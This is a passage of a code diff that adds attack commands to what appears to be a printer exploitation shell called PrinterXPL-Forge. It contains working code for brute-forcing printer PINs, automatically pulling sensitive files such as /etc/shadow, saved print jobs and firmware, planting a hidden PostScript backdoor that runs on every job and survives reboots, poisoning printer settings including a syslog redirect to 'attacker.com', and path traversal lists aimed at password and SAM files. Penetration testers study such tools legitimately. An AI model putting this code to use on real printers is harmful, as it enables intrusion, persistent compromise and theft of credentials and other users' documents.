|
+
output().info("Try different range or check if printer locked")
|
|
2547
|
+
|
|
2548
|
+
def help_unlock_bruteforce(self):
|
|
2549
|
+
"""Brute force printer unlock PIN"""
|
|
2550
|
+
print()
|
|
2551
|
+
print("unlock_bruteforce - Brute force printer unlock PIN")
|
|
2552
|
+
print("=" * 70)
|
|
2553
|
+
print("DESCRIPTION:")
|
|
2554
|
+
print(" Attempts to unlock a locked printer by brute forcing the PIN.")
|
|
2555
|
+
print(" Tests all PINs from 1 to 65535 (or specified range).")
|
|
2556
|
+
print(" Can take several hours for full range.")
|
|
2557
|
+
print()
|
|
2558
|
+
print("USAGE:")
|
|
2559
|
+
print(" unlock_bruteforce [start_pin]")
|
|
2560
|
+
print()
|
|
2561
|
+
print("EXAMPLES:")
|
|
2562
|
+
print(" unlock_bruteforce # Test PINs 1-65535")
|
|
2563
|
+
print(" unlock_bruteforce 1000 # Start from PIN 1000")
|
|
2564
|
+
print(" unlock_bruteforce 10000 # Start from PIN 10000")
|
|
2565
|
+
print()
|
|
2566
|
+
print("SECURITY IMPACT: MEDIUM-HIGH")
|
|
2567
|
+
print(" - Can bypass PIN protection")
|
|
2568
|
+
print(" - May trigger lockout after failed attempts")
|
|
2569
|
+
print(" - Very slow (hours for full range)")
|
|
2570
|
+
print(" - Network traffic easily detected")
|
|
2571
|
+
print()
|
|
2572
|
+
print("OPTIMIZATION:")
|
|
2573
|
+
print(" - Common PINs: 1234, 0000, 1111, 9999")
|
|
2574
|
+
print(" - Try common ranges first: 1-9999")
|
|
2575
|
+
print(" - Some printers lock after N attempts")
|
|
2576
|
+
print()
|
|
2577
|
+
print("NOTES:")
|
|
2578
|
+
print(" - Requires confirmation")
|
|
2579
|
+
print(" - Can be interrupted with Ctrl+C")
|
|
2580
|
+
print(" - Progress shown every 100 PINs")
|
|
2581
|
+
print(" - Full range: ~18 hours at 1 PIN/second")
|
|
2582
|
+
print()
|
|
2583
|
+
|
|
2584
|
+
def do_exfiltrate(self, arg):
|
|
2585
|
+
"""Automated exfiltration of sensitive files"""
|
|
2586
|
+
output().info("Starting automated exfiltration...")
|
|
2587
|
+
output().info("Attempting to download sensitive files from printer")
|
|
2588
|
+
|
|
2589
|
+
# Common sensitive file paths across different printer models
|
|
2590
|
+
sensitive_paths = [
|
|
2591
|
+
# Web server configs
|
|
2592
|
+
("0:/webServer/config/device.cfg", "Web server config"),
|
|
2593
|
+
("0:/webServer/config/config.xml", "XML config"),
|
|
2594
|
+
("0:/webServer/home/device.html", "Device home page"),
|
|
2595
|
+
("0:/webServer/default/config.json", "JSON config"),
|
|
2596
|
+
|
|
2597
|
+
# System files (Unix-like)
|
|
2598
|
+
("/etc/passwd", "Unix passwd"),
|
|
2599
|
+
("/etc/shadow", "Unix shadow"),
|
|
2600
|
+
("../../rw/var/sys/passwd", "Traversal passwd"),
|
|
2601
|
+
("/var/log/messages", "System log"),
|
|
2602
|
+
|
|
2603
|
+
# Job files
|
|
2604
|
+
("1:/saveDevice/SavedJobs/InProgress/*", "Jobs in progress"),
|
|
2605
|
+
("1:/saveDevice/SavedJobs/KeepJobs/*", "Kept jobs"),
|
|
2606
|
+
("0:/jobs/*", "Job directory"),
|
|
2607
|
+
|
|
2608
|
+
# PostScript/PCL configs
|
|
2609
|
+
("1:/PostScript/ppd/device.ppd", "PPD file"),
|
|
2610
|
+
("1:/PostScript/config.ps", "PS config"),
|
|
2611
|
+
|
|
2612
|
+
# Network configs
|
|
2613
|
+
("0:/network/config.dat", "Network config"),
|
|
2614
|
+
("0:/system/network.xml", "Network XML"),
|
|
2615
|
+
|
|
2616
|
+
# Firmware
|
|
2617
|
+
("0:/firmware/current.bin", "Current firmware"),
|
|
2618
|
+
("1:/firmware/backup.bin", "Backup firmware"),
|
|
2619
|
+
]
|
|
2620
|
+
|
|
2621
|
+
exfil_count = 0
|
|
2622
|
+
exfil_dir = "exfiltrated"
|
|
2623
|
+
|
|
2624
|
+
# Create exfiltration directory
|
|
2625
|
+
if not os.path.exists(exfil_dir):
|
|
2626
|
+
os.makedirs(exfil_dir)
|
|
2627
|
+
output().info(f"✓ Created directory: {exfil_dir}/")
|
|
2628
|
+
|
|
2629
|
+
for path, description in sensitive_paths:
|
|
2630
|
+
output().info(f"Trying {description}: {path}")
|
|
2631
|
+
|
|
2632
|
+
try:
|
|
2633
|
+
# Handle wildcard paths
|
|
2634
|
+
if "*" in path:
|
|
2635
|
+
dir_path = path.replace("/*", "")
|
|
2636
|
+
dir_list = self.cmd(f"@PJL FSDIRLIST NAME=\"{dir_path}\"")
|
|
2637
|
+
if dir_list and len(dir_list.strip()) > 10:
|
|
2638
|
+
files = self.parse_dirlist(dir_list)
|
|
2639
|
+
for filename in files[:5]: # Limit to first 5 files
|
|
2640
|
+
file_path = f"{dir_path}/{filename}"
|
|
2641
|
+
self._exfil_single_file(file_path, exfil_dir)
|
|
2642
|
+
exfil_count += 1
|
|
2643
|
+
else:
|
|
2644
|
+
if self._exfil_single_file(path, exfil_dir):
|
|
2645
|
+
exfil_count += 1
|
|
2646
|
+
|
|
2647
|
+
except Exception as e:
|
|
2648
|
+
if self.debug:
|
|
2649
|
+
output().errmsg(f" Error: {e}")
|
|
2650
|
+
continue
|
|
2651
|
+
|
|
2652
|
+
output().info("")
|
|
2653
|
+
output().info("=" * 70)
|
|
2654
|
+
output().info(f"✓ Exfiltration complete: {exfil_count} files retrieved")
|
|
2655
|
+
output().info(f"✓ Files saved in: {exfil_dir}/")
|
|
2656
|
+
output().info("=" * 70)
|
|
2657
|
+
|
|
2658
|
+
if exfil_count == 0:
|
|
2659
|
+
output().warning("No sensitive files found or accessible")
|
|
2660
|
+
output().info("Try manual file enumeration with 'ls' and 'find'")
|
|
2661
|
+
|
|
2662
|
+
def _exfil_single_file(self, path, exfil_dir):
|
|
2663
|
+
"""Helper: Exfiltrate a single file"""
|
|
2664
|
+
try:
|
|
2665
|
+
result = self.get(path)
|
|
2666
|
+
if result != c.NONEXISTENT:
|
|
2667
|
+
size, data = result
|
|
2668
|
+
# Sanitize filename
|
|
2669
|
+
filename = path.replace("/", "_").replace(":", "_").replace("*", "all")
|
|
2670
|
+
local_path = os.path.join(exfil_dir, filename)
|
|
2671
|
+
file().write(local_path, data)
|
|
2672
|
+
output().info(f" ✓ Exfiltrated: {path} ({size} bytes) → {local_path}")
|
|
2673
|
+
return True
|
|
2674
|
+
except:
|
|
2675
|
+
pass
|
|
2676
|
+
return False
|
|
2677
|
+
|
|
2678
|
+
def help_exfiltrate(self):
|
|
2679
|
+
"""Automated exfiltration of sensitive files"""
|
|
2680
|
+
print()
|
|
2681
|
+
print("exfiltrate - Automated exfiltration of sensitive files")
|
|
2682
|
+
print("=" * 70)
|
|
2683
|
+
print("DESCRIPTION:")
|
|
2684
|
+
print(" Automatically attempts to download sensitive files from the printer.")
|
|
2685
|
+
print(" Tests multiple common paths for:")
|
|
2686
|
+
print(" - Configuration files (device.cfg, config.xml)")
|
|
2687
|
+
print(" - System files (/etc/passwd, /etc/shadow)")
|
|
2688
|
+
print(" - Print jobs (saved/retained jobs)")
|
|
2689
|
+
print(" - Network configs")
|
|
2690
|
+
print(" - Firmware files")
|
|
2691
|
+
print()
|
|
2692
|
+
print("USAGE:")
|
|
2693
|
+
print(" exfiltrate")
|
|
2694
|
+
print()
|
|
2695
|
+
print("EXAMPLES:")
|
|
2696
|
+
print(" exfiltrate # Auto-exfiltrate all accessible files")
|
|
2697
|
+
print()
|
|
2698
|
+
print("OUTPUT:")
|
|
2699
|
+
print(" - Creates 'exfiltrated/' directory")
|
|
2700
|
+
print(" - Saves all found files with sanitized names")
|
|
2701
|
+
print(" - Reports number of files retrieved")
|
|
2702
|
+
print()
|
|
2703
|
+
print("SECURITY IMPACT: CRITICAL")
|
|
2704
|
+
print(" - Exposes sensitive configuration")
|
|
2705
|
+
print(" - May reveal passwords/credentials")
|
|
2706
|
+
print(" - Access to other users' documents")
|
|
2707
|
+
print(" - Network information disclosure")
|
|
2708
|
+
print()
|
|
2709
|
+
print("PATHS TESTED:")
|
|
2710
|
+
print(" - Web server configs: 0:/webServer/config/*")
|
|
2711
|
+
print(" - System files: /etc/passwd, /etc/shadow")
|
|
2712
|
+
print(" - Print jobs: 1:/saveDevice/SavedJobs/*")
|
|
2713
|
+
print(" - Network configs: 0:/network/*")
|
|
2714
|
+
print(" - Firmware: 0:/firmware/*")
|
|
2715
|
+
print(" - And ~18 more common paths")
|
|
2716
|
+
print()
|
|
2717
|
+
print("NOTES:")
|
|
2718
|
+
print(" - Automatically creates exfiltrated/ directory")
|
|
2719
|
+
print(" - Only downloads accessible files")
|
|
2720
|
+
print(" - Progress shown for each path")
|
|
2721
|
+
print(" - For authorized testing only")
|
|
2722
|
+
print()
|
|
2723
|
+
|
|
2724
|
+
# ====================================================================
|
|
2725
|
+
# 🔓 ADVANCED CREDENTIAL/PERSISTENCE ATTACKS
|
|
2726
|
+
# ====================================================================
|
|
2727
|
+
|
|
2728
|
+
def do_backdoor(self, arg):
|
|
2729
|
+
"""Install PostScript backdoor for persistence"""
|
|
2730
|
+
output().warning("═" * 70)
|
|
2731
|
+
output().warning("Installing PostScript backdoor for persistent access!")
|
|
2732
|
+
output().warning("This creates a PERSISTENT backdoor in the printer!")
|
|
2733
|
+
output().warning("═" * 70)
|
|
2734
|
+
|
|
2735
|
+
try:
|
|
2736
|
+
confirm = input("Install backdoor? (yes/no): ")
|
|
2737
|
+
if confirm.lower() != 'yes':
|
|
2738
|
+
output().info("Backdoor installation cancelled")
|
|
2739
|
+
return
|
|
2740
|
+
except (EOFError, KeyboardInterrupt):
|
|
2741
|
+
output().info("Installation cancelled")
|
|
2742
|
+
return
|
|
2743
|
+
|
|
2744
|
+
# Create backdoor PostScript code
|
|
2745
|
+
if arg and os.path.exists(arg):
|
|
2746
|
+
# Use provided backdoor file
|
|
2747
|
+
backdoor_ps = file().read(arg)
|
|
2748
|
+
if isinstance(backdoor_ps, bytes):
|
|
2749
|
+
backdoor_ps = backdoor_ps.decode('utf-8', errors='ignore')
|
|
2750
|
+
else:
|
|
2751
|
+
# Generate default backdoor
|
|
2752
|
+
backdoor_ps = """
|
|
2753
|
+
%!PS-Adobe-3.0
|
|
2754
|
+
% PrinterXPL-Forge Backdoor v1.0
|
|
2755
|
+
% Executes on every print job for data exfiltration
|
|
2756
|
+
|
|
2757
|
+
<< /BeginPage {
|
|
2758
|
+
% Log job information
|
|
2759
|
+
(0:/backdoor_log.txt) (a) file
|
|
2760
|
+
/logfile exch def
|
|
2761
|
+
|
|
2762
|
+
% Write timestamp and job name
|
|
2763
|
+
(%Calendar%) currentdevparams /RealTime get
|
|
2764
|
+
logfile exch write==only
|
|
2765
|
+
( - Job: ) logfile exch writestring
|
|
2766
|
+
statusdict /jobname known {
|
|
2767
|
+
statusdict /jobname get logfile exch writestring
|
|
2768
|
+
} if
|
|
2769
|
+
(\\n) logfile exch writestring
|
|
2770
|
+
|
|
2771
|
+
logfile closefile
|
|
2772
|
+
} >> setpagedevice
|
|
2773
|
+
|
|
2774
|
+
% Continue normal processing
|
|
2775
|
+
"""
|
|
2776
|
+
|
|
2777
|
+
# Upload backdoor to hidden location
|
|
2778
|
+
backdoor_path = "0:/system/.backdoor.ps"
|
|
2779
|
+
size = self.put(backdoor_path, backdoor_ps.encode())
|
|
2780
|
+
|
|
2781
|
+
if size == c.NONEXISTENT:
|
|
2782
|
+
output().errmsg("Failed to upload backdoor")
|
|
2783
|
+
return
|
|
2784
|
+
|
|
2785
|
+
output().info(f"✓ Backdoor uploaded to {backdoor_path} ({size} bytes)")
|
|
2786
|
+
|
|
2787
|
+
# Configure printer to load backdoor on startup
|
|
2788
|
+
# Method 1: PJL startup job
|
|
2789
|
+
self.cmd(f"@PJL SET STARTUPJOB=\"{backdoor_path}\"")
|
|
2790
|
+
output().info("✓ Backdoor set as startup job")
|
|
2791
|
+
|
|
2792
|
+
# Method 2: PostScript configuration
|
|
2793
|
+
ps_init = f"""
|
|
2794
|
+
%!PS-Adobe-3.0
|
|
2795
|
+
({backdoor_path}) run
|
|
2796
|
+
"""
|
|
2797
|
+
self.put("0:/system/init.ps", ps_init.encode())
|
|
2798
|
+
self.cmd("@PJL SET PSINITJOB=\"0:/system/init.ps\"")
|
|
2799
|
+
output().info("✓ PostScript init configured")
|
|
2800
|
+
|
|
2801
|
+
# Method 3: Environment variable
|
|
2802
|
+
self.cmd(f"@PJL SET BACKDOOR=\"{backdoor_path}\"")
|
|
2803
|
+
|
|
2804
|
+
output().info("✓ Backdoor installed successfully!")
|
|
2805
|
+
output().warning("⚠ Backdoor will execute on EVERY print job!")
|
|
2806
|
+
output().warning("⚠ Survives printer reboots!")
|
|
2807
|
+
output().info("Log file: 0:/backdoor_log.txt")
|
|
2808
|
+
output().info("To remove: backdoor_remove or factory reset")
|
|
2809
|
+
|
|
2810
|
+
def help_backdoor(self):
|
|
2811
|
+
"""Install PostScript backdoor"""
|
|
2812
|
+
print()
|
|
2813
|
+
print("backdoor - Install PostScript backdoor for persistence")
|
|
2814
|
+
print("=" * 70)
|
|
2815
|
+
print("DESCRIPTION:")
|
|
2816
|
+
print(" Installs a persistent PostScript backdoor that executes on every")
|
|
2817
|
+
print(" print job. Can be used for:")
|
|
2818
|
+
print(" - Data exfiltration (log job names, content)")
|
|
2819
|
+
print(" - Persistent access")
|
|
2820
|
+
print(" - Information gathering")
|
|
2821
|
+
print(" - Long-term monitoring")
|
|
2822
|
+
print()
|
|
2823
|
+
print("USAGE:")
|
|
2824
|
+
print(" backdoor [ps_file]")
|
|
2825
|
+
print()
|
|
2826
|
+
print("EXAMPLES:")
|
|
2827
|
+
print(" backdoor # Install default logging backdoor")
|
|
2828
|
+
print(" backdoor custom.ps # Install custom backdoor code")
|
|
2829
|
+
print()
|
|
2830
|
+
print("DEFAULT BACKDOOR:")
|
|
2831
|
+
print(" - Logs timestamp and job name to 0:/backdoor_log.txt")
|
|
2832
|
+
print(" - Executes on every print job")
|
|
2833
|
+
print(" - Survives reboots")
|
|
2834
|
+
print()
|
|
2835
|
+
print("CUSTOM BACKDOOR:")
|
|
2836
|
+
print(" - Provide PostScript file with your code")
|
|
2837
|
+
print(" - Code executes in BeginPage context")
|
|
2838
|
+
print(" - Has access to printer internals")
|
|
2839
|
+
print()
|
|
2840
|
+
print("SECURITY IMPACT: EXTREME")
|
|
2841
|
+
print(" - Persistent access")
|
|
2842
|
+
print(" - Data exfiltration")
|
|
2843
|
+
print(" - Survives reboots")
|
|
2844
|
+
print(" - Hard to detect")
|
|
2845
|
+
print()
|
|
2846
|
+
print("DETECTION:")
|
|
2847
|
+
print(" - Check startup jobs: variables")
|
|
2848
|
+
print(" - Look for hidden files: find / | grep '\\.'")
|
|
2849
|
+
print(" - Monitor for unusual log files")
|
|
2850
|
+
print()
|
|
2851
|
+
print("REMOVAL:")
|
|
2852
|
+
print(" - Use 'backdoor_remove' command")
|
|
2853
|
+
print(" - Or factory reset")
|
|
2854
|
+
print()
|
|
2855
|
+
print("⚠ WARNING: For authorized testing ONLY! May violate laws!")
|
|
2856
|
+
print()
|
|
2857
|
+
|
|
2858
|
+
def do_backdoor_remove(self, arg):
|
|
2859
|
+
"""Remove installed backdoor"""
|
|
2860
|
+
output().info("Removing backdoor...")
|
|
2861
|
+
|
|
2862
|
+
try:
|
|
2863
|
+
# Remove backdoor files
|
|
2864
|
+
self.cmd("@PJL FSDELETE NAME=\"0:/system/.backdoor.ps\"")
|
|
2865
|
+
self.cmd("@PJL FSDELETE NAME=\"0:/system/init.ps\"")
|
|
2866
|
+
self.cmd("@PJL FSDELETE NAME=\"0:/backdoor_log.txt\"")
|
|
2867
|
+
output().info("✓ Backdoor files deleted")
|
|
2868
|
+
|
|
2869
|
+
# Clear startup jobs
|
|
2870
|
+
self.cmd("@PJL SET STARTUPJOB=\"\"")
|
|
2871
|
+
self.cmd("@PJL SET PSINITJOB=\"\"")
|
|
2872
|
+
self.cmd("@PJL SET BACKDOOR=\"\"")
|
|
2873
|
+
output().info("✓ Startup jobs cleared")
|
|
2874
|
+
|
|
2875
|
+
output().info("✓ Backdoor removed successfully!")
|
|
2876
|
+
output().info("Restart printer to ensure complete removal")
|
|
2877
|
+
|
|
2878
|
+
except Exception as e:
|
|
2879
|
+
output().errmsg(f"Backdoor removal failed: {e}")
|
|
2880
|
+
output().info("Factory reset may be required")
|
|
2881
|
+
|
|
2882
|
+
def help_backdoor_remove(self):
|
|
2883
|
+
"""Remove backdoor"""
|
|
2884
|
+
print()
|
|
2885
|
+
print("backdoor_remove - Remove installed PostScript backdoor")
|
|
2886
|
+
print("=" * 70)
|
|
2887
|
+
print("DESCRIPTION:")
|
|
2888
|
+
print(" Removes previously installed backdoor.")
|
|
2889
|
+
print(" Deletes backdoor files and clears startup configurations.")
|
|
2890
|
+
print()
|
|
2891
|
+
print("USAGE:")
|
|
2892
|
+
print(" backdoor_remove")
|
|
2893
|
+
print()
|
|
2894
|
+
print("NOTES:")
|
|
2895
|
+
print(" - Reverses 'backdoor' command")
|
|
2896
|
+
print(" - Restart printer after removal")
|
|
2897
|
+
print(" - Factory reset also removes backdoor")
|
|
2898
|
+
print()
|
|
2899
|
+
|
|
2900
|
+
def do_poison(self, arg):
|
|
2901
|
+
"""Configuration poisoning attack"""
|
|
2902
|
+
output().warning("═" * 70)
|
|
2903
|
+
output().warning("Configuration Poisoning Attack!")
|
|
2904
|
+
output().warning("This will set malicious configuration values!")
|
|
2905
|
+
output().warning("═" * 70)
|
|
2906
|
+
|
|
2907
|
+
try:
|
|
2908
|
+
confirm = input("Continue with poisoning? (yes/no): ")
|
|
2909
|
+
if confirm.lower() != 'yes':
|
|
2910
|
+
output().info("Configuration poisoning cancelled")
|
|
2911
|
+
return
|
|
2912
|
+
except (EOFError, KeyboardInterrupt):
|
|
2913
|
+
output().info("Attack cancelled")
|
|
2914
|
+
return
|
|
2915
|
+
|
|
2916
|
+
output().info("Setting malicious configuration values...")
|
|
2917
|
+
|
|
2918
|
+
# Poison various configuration variables
|
|
2919
|
+
malicious_configs = [
|
|
2920
|
+
# Path traversal attempts
|
|
2921
|
+
("INTRAY1", "/../../../etc"),
|
|
2922
|
+
("OUTBIN1", "/../../../tmp"),
|
|
2923
|
+
|
|
2924
|
+
# Memory/resource manipulation
|
|
2925
|
+
("LPARM:PCL FONTSOURCE", "X"),
|
|
2926
|
+
("LPARM:PCL FONTNUMBER", "999999"),
|
|
2927
|
+
|
|
2928
|
+
# Logging/debugging (may expose info)
|
|
2929
|
+
("JOBLOG", "ON"),
|
|
2930
|
+
("DEBUGLOG", "ON"),
|
|
2931
|
+
("VERBOSELOG", "ON"),
|
|
2932
|
+
|
|
2933
|
+
# Network manipulation
|
|
2934
|
+
("SYSLOGSERVER", "attacker.com"),
|
|
2935
|
+
|
|
2936
|
+
# Malicious paths
|
|
2937
|
+
("DEFAULTDIR", "/../../../../etc"),
|
|
2938
|
+
]
|
|
2939
|
+
|
|
2940
|
+
poisoned = 0
|
|
2941
|
+
for var, value in malicious_configs:
|
|
2942
|
+
try:
|
|
2943
|
+
self.cmd(f"@PJL SET {var}={value}")
|
|
2944
|
+
output().info(f" ✓ Poisoned: {var}={value}")
|
|
2945
|
+
poisoned += 1
|
|
2946
|
+
time.sleep(0.1)
|
|
2947
|
+
except Exception as e:
|
|
2948
|
+
if self.debug:
|
|
2949
|
+
output().errmsg(f" Failed: {var} - {e}")
|
|
2950
|
+
|
|
2951
|
+
output().info(f"✓ Configuration poisoning complete: {poisoned} variables set")
|
|
2952
|
+
output().warning("⚠ Printer configuration is now compromised!")
|
|
2953
|
+
output().info("To restore: Use factory reset or restore from backup")
|
|
2954
|
+
|
|
2955
|
+
def help_poison(self):
|
|
2956
|
+
"""Configuration poisoning attack"""
|
|
2957
|
+
print()
|
|
2958
|
+
print("poison - Configuration poisoning attack")
|
|
2959
|
+
print("=" * 70)
|
|
2960
|
+
print("DESCRIPTION:")
|
|
2961
|
+
print(" Sets malicious configuration values to compromise printer security.")
|
|
2962
|
+
print(" Can be used for:")
|
|
2963
|
+
print(" - Path traversal setup")
|
|
2964
|
+
print(" - Resource exhaustion")
|
|
2965
|
+
print(" - Information disclosure (enable logging)")
|
|
2966
|
+
print(" - Network redirection")
|
|
2967
|
+
print()
|
|
2968
|
+
print("USAGE:")
|
|
2969
|
+
print(" poison")
|
|
2970
|
+
print()
|
|
2971
|
+
print("EXAMPLES:")
|
|
2972
|
+
print(" poison # Apply configuration poisoning")
|
|
2973
|
+
print()
|
|
2974
|
+
print("POISONED VARIABLES:")
|
|
2975
|
+
print(" - INTRAY1: Path traversal")
|
|
2976
|
+
print(" - OUTBIN1: Output redirection")
|
|
2977
|
+
print(" - FONTSOURCE/FONTNUMBER: Resource manipulation")
|
|
2978
|
+
print(" - JOBLOG/DEBUGLOG: Enable verbose logging")
|
|
2979
|
+
print(" - SYSLOGSERVER: Network redirection")
|
|
2980
|
+
print(" - DEFAULTDIR: Path traversal")
|
|
2981
|
+
print()
|
|
2982
|
+
print("SECURITY IMPACT: HIGH")
|
|
2983
|
+
print(" - Compromises printer security")
|
|
2984
|
+
print(" - May enable further attacks")
|
|
2985
|
+
print(" - Difficult to detect")
|
|
2986
|
+
print(" - Persistent until reset")
|
|
2987
|
+
print()
|
|
2988
|
+
print("REMOVAL:")
|
|
2989
|
+
print(" - Factory reset")
|
|
2990
|
+
print(" - Restore from backup")
|
|
2991
|
+
print(" - Manual variable reset")
|
|
2992
|
+
print()
|
|
2993
|
+
print("NOTES:")
|
|
2994
|
+
print(" - Requires confirmation")
|
|
2995
|
+
print(" - Not all variables work on all printers")
|
|
2996
|
+
print(" - Check with 'variables' after attack")
|
|
2997
|
+
print()
|
|
2998
|
+
|
|
2999
|
+
def do_traverse(self, arg):
|
|
3000
|
+
"""Path traversal attack automated testing"""
|
|
3001
|
+
output().info("Path Traversal Attack - Automated Testing")
|
|
3002
|
+
output().info("Testing multiple path traversal vectors...")
|
|
3003
|
+
|
|
3004
|
+
# Common traversal patterns
|
|
3005
|
+
traversal_vectors = [
|
|
3006
|
+
"../../../etc/passwd",
|
|
3007
|
+
"../../rw/var/sys/passwd",
|
|
3008
|
+
"0:/../../../etc/shadow",
|
|
3009
|
+
"1:/../../etc/passwd",
|
|
3010
|
+
"/../../../../../../etc/passwd",
|
|
3011
|
+
"../../../../../../../etc/hosts",
|
|
3012
|
+
"..\\..\\..\\windows\\system32\\config\\sam", # Windows
|
|
3013
|
+
"../../../../../../../boot.ini",
|
|
3014
|
+
"0:/../../../../proc/version", # Linux
|
|
3015
|
+
]
|
|
3016
|
+
|
|
3017
|
+
output().info(f"Testing {len(traversal_vectors)} traversal vectors...")
|
|
3018
|
+
print()
|
|
3019
|
+
|
|
3020
|
+
success_count = 0
|
|
3021
|
+
for vector in traversal_vectors:
|
|
3022
|
+
output().info(f"Testing: {vector}")
|
|
3023
|
+
|
|
3024
|
+
try:
|
|
3025
|
+
result = self.get(vector)
|
|
3026
|
+
if result != c.NONEXISTENT:
|
|
3027
|
+
size, data = result
|
|
3028
|
+
output().info(f" ✓ SUCCESS! Accessible ({size} bytes)")
|
|
3029
|
+
print(" " + "-" * 60)
|
|
3030
|
+
# Show first 200 chars
|
|
3031
|
+
preview = data.decode('utf-8', errors='ignore')[:200]
|
|
3032
|
+
print(f" {preview}")
|
|
3033
|
+
if len(data) > 200:
|
|
3034
|
+
print(f" ... ({size - 200} more bytes)")
|
|
3035
|
+
print(" " + "-" * 60)
|
|
3036
|
+
success_count += 1
|
|
3037
|
+
else:
|
|
3038
|
+
output().info(f" ✗ Not accessible")
|
|
3039
|
+
except Exception as e:
|
|
3040
|
+
if self.debug:
|
|
3041
|
+
output().errmsg(f" Error: {e}")
|
|
3042
|
+
|
|
3043
|
+
print()
|
|
3044
|
+
|
|
3045
|
+
output().info("=" * 70)
|
|
3046
|
+
output().info(f"✓ Path traversal test complete")
|
|
3047
|
+
output().info(f" Successful: {success_count}/{len(traversal_vectors)}")
|
|
3048
|
+
output().info("=" * 70)
|
|
3049
|
+
|
|
3050
|
+
def help_traverse(self):
|
|
3051
|
+
"""Path traversal attack testing"""
|
|
3052
|
+
print()
|
|
3053
|
+
print("traverse - Automated path traversal attack testing")
|
|
3054
|
+
print("=" * 70)
|
|
3055
|
+
print("DESCRIPTION:")
|
|
3056
|
+
print(" Automatically tests multiple path traversal vectors to access")
|
|
3057
|
+
print(" files outside the intended directory. Tests common patterns like:")
|
|
3058
|
+
print(" - ../../../etc/passwd")
|
|
3059
|
+
print(" - ../../rw/var/sys/passwd")
|
|
3060
|
+
print(" - Volume-based traversal (0:/../../../)")
|
|
3061
|
+
print()
|
|
3062
|
+
print("USAGE:")
|
|
3063
|
+
print(" traverse")
|
|
3064
|
+
print()
|
|
3065
|
+
print("EXAMPLES:")
|
|
3066
|
+
print(" traverse # Test all traversal vectors")
|
|
3067
|
+
print()
|
|
3068
|
+
print("VECTORS TESTED:")
|
|
3069
|
+
print(" - Unix paths: ../../../etc/passwd, /etc/shadow")
|
|
3070
|
+
print(" - Embedded systems: ../../rw/var/sys/")
|
|
3071
|
+
print(" - Windows paths: ..\\..\\..\\windows\\system32\\")
|
|
3072
|
+
print(" - Volume traversal: 0:/../../../")
|
|
3073
|
+
print(" - Proc filesystem: /proc/version")
|
|
3074
|
+
print()
|
|
3075
|
+
print("SECURITY IMPACT: CRITICAL")
|
|
3076
|
+
print(" - Access to system files")
|
|
3077
|
+
print(" - Password file exposure")
|
|
3078
|
+
print(" - Configuration disclosure")
|
|
3079
|
+
print()
|
|
3080
|
+
print("OUTPUT:")
|
|
3081
|
+
print(" - Shows accessible paths")
|
|
3082
|
+
print(" - Displays first 200 bytes of content")
|
|
3083
|
+
print(" - Reports success rate")
|
|
3084
|
+
print()
|
|
3085
|
+
print("NOTES:")
|
|
3086
|
+
print(" - Tests ~10 common vectors")
|
|
3087
|
+
print(" - Non-destructive (read-only)")
|
|
3088
|
+
print(" - Results vary by printer model")
|
|
3089
|
+
print()
|
|
3090
|
+
|
|
3091
|
+
#====================================================================
|
|
3092
|
+
# 📊 ADDITIONAL INFO COMMANDS
|
|
3093
|
+
# ====================================================================
|
|
3094
|
+
|
|
3095
|
+
def do_info(self, arg):
|
|
3096
|
+
"""Comprehensive information gathering - all PJL INFO commands"""
|
|
3097
|
+
if not arg:
|
|
3098
|
+
# Show all info categories
|
|
3099
|
+
output().info("Gathering comprehensive printer information...")
|
|
3100
|
+
print()
|
|
3101
|
+
|
|
3102
|
+
categories = [
|
|
3103
|
+
("ID", "Device identification"),
|
|
3104
|
+
("STATUS", "Current status"),
|
|
3105
|
+
("CONFIG", "Configuration"),
|
|
3106
|
+
("FILESYS", "Filesystem information"),
|
|
3107
|
+
("MEMORY", "Memory information"),
|
|
3108
|
+
("PAGECOUNT", "Page counter"),
|
|
3109
|
+
("VARIABLES", "Environment variables"),
|
|
3110
|
+
("USTATUS", "Unsolicited status"),
|
|
3111
|
+
("PRODUCT", "Product information"),
|
|
3112
|
+
# Hidden / undocumented categories (old HP LaserJet)
|
|
3113
|
+
("LOG", "Event log (undocumented)"),
|
|
3114
|
+
("PRODINFO", "Product info extended (HP)"),
|
|
3115
|
+
("TRACKING", "Tracking data (undocumented)"),
|
|
3116
|
+
("SUPPLIES", "Supplies/toner status (undocumented)"),
|
|
3117
|
+
("BRFIRMWARE", "Firmware version (Brother)"),
|
|
3118
|
+
]
|
|
3119
|
+
|
|
3120
|
+
for cat, desc in categories:
|
|
3121
|
+
print("=" * 70)
|
|
3122
|
+
print(f"INFO {cat} - {desc}")
|
|
3123
|
+
print("=" * 70)
|
|
3124
|
+
result = self.cmd(f"@PJL INFO {cat}")
|
|
3125
|
+
if result and len(result.strip()) > 0:
|
|
3126
|
+
print(result)
|
|
3127
|
+
else:
|
|
3128
|
+
output().warning(f"No data for {cat}")
|
|
3129
|
+
print()
|
|
3130
|
+
else:
|
|
3131
|
+
# Show specific category
|
|
3132
|
+
category = arg.upper()
|
|
3133
|
+
output().info(f"Querying INFO {category}...")
|
|
3134
|
+
result = self.cmd(f"@PJL INFO {category}")
|
|
3135
|
+
if result:
|
|
3136
|
+
print(result)
|
|
3137
|
+
else:
|
|
3138
|
+
output().warning(f"No data for {category}")
|
|
3139
|
+
|
|
3140
|
+
def help_info(self):
|
|
3141
|
+
"""Comprehensive information gathering"""
|
|
3142
|
+
print()
|
|
3143
|
+
print("info - Comprehensive PJL INFO commands")
|
|
3144
|
+
print("=" * 70)
|
|
3145
|
+
print("DESCRIPTION:")
|
|
3146
|
+
print(" Queries comprehensive information from the printer using")
|
|
3147
|
+
print(" PJL INFO commands. Can query all categories or specific ones.")
|
|
3148
|
+
print()
|
|
3149
|
+
print("USAGE:")
|
|
3150
|
+
print(" info # Query all information categories")
|
|
3151
|
+
print(" info <category> # Query specific category")
|
|
3152
|
+
print()
|
|
3153
|
+
print("CATEGORIES:")
|
|
3154
|
+
print(" ID # Device ID and model")
|
|
3155
|
+
print(" STATUS # Current printer status")
|
|
3156
|
+
print(" CONFIG # Configuration details")
|
|
3157
|
+
print(" FILESYS # Filesystem information")
|
|
3158
|
+
print(" MEMORY # Memory usage and available")
|
|
3159
|
+
print(" PAGECOUNT # Total pages printed")
|
|
3160
|
+
print(" VARIABLES # Environment variables")
|
|
3161
|
+
print(" USTATUS # Unsolicited status messages")
|
|
3162
|
+
print(" PRODUCT # Product information")
|
|
3163
|
+
print()
|
|
3164
|
+
print("EXAMPLES:")
|
|
3165
|
+
print(" info # Get all information")
|
|
3166
|
+
print(" info CONFIG # Get configuration only")
|
|
3167
|
+
print(" info MEMORY # Get memory info only")
|
|
3168
|
+
print()
|
|
3169
|
+
